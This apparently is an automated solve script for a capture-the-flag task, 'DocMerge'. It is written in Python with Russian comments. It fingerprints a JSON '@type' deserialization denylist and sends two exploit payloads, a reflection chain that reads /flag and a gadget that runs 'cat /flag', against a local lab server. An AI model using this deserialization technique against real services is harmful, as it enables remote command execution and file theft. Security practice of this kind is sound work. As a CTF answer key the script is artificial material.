#!/usr/bin/env python3 """Автоматическое решение таска DocMerge (только stdlib). Запуск: python solve.py http://localhost:18112 """ import json import re import sys import urllib.error import urllib.request FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}") def post_merge(base, payload): data = json.dumps(payload).encode() req = urllib.request.Request( base + "/api/merge", data=data, headers={"Content-Type": "application/json"}, method="POST") try: with urllib.request.urlopen(req, timeout=20) as resp: return resp.status, resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") def get(base, path): try: with urllib.request.urlopen(base + path, timeout=20) as resp: return resp.status, resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") def fingerprint(base): """Три зонда: denylist / класс вне allowlist / разрешённый пакет.""" probes = [ ("denylist: java.lang.Runtime", {"@type": "java.lang.Runtime"}), ("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin", {"@type": "com.docmerge.plugins.NoSuchPlugin"}), ("вне allowlist: java.io.File", {"@type": "java.io.File"}), ] for label, payload in probes: status, body = post_merge(base, payload) marker = "" try: marker = json.loads(body).get("message", "")[:120] except ValueError: marker = body[:120] print(f"[*] probe ({label}) -> HTTP {status}: {marker}") def exploit_script_filter(base): """Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag').""" payload = { "title": "quarterly-report", "documents": ["doc one", "doc two"], "renderer": { "template": "default", "filters": [ { "@type": "com.docmerge.plugins.ScriptFilter", "className": "com.docmerge.util.PreviewUtil", "methodName": "readFile", "argument": "/flag", } ], }, } return post_merge(base, payload) def exploit_legacy_executor_v2(base): """Запасная цепочка: наследник denylist-класса проходит equals-проверку.""" payload = { "title": "quarterly-report", "renderer": { "filters": [ { "@type": "com.docmerge.plugins.LegacyExecutorV2", "command": "cat /flag", } ] }, } return post_merge(base, payload) def main(): base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/") print(f"[*] target: {base}") status, body = get(base, "/api/plugins") print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}") fingerprint(base) print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')") status, body = exploit_script_filter(base) match = FLAG_RE.search(body) if match: print(f"[+] flag: {match.group(0)}") return print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2") status, body = exploit_legacy_executor_v2(base) match = FLAG_RE.search(body) if match: print(f"[+] flag: {match.group(0)}") return print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}") sys.exit(1) if __name__ == "__main__": main()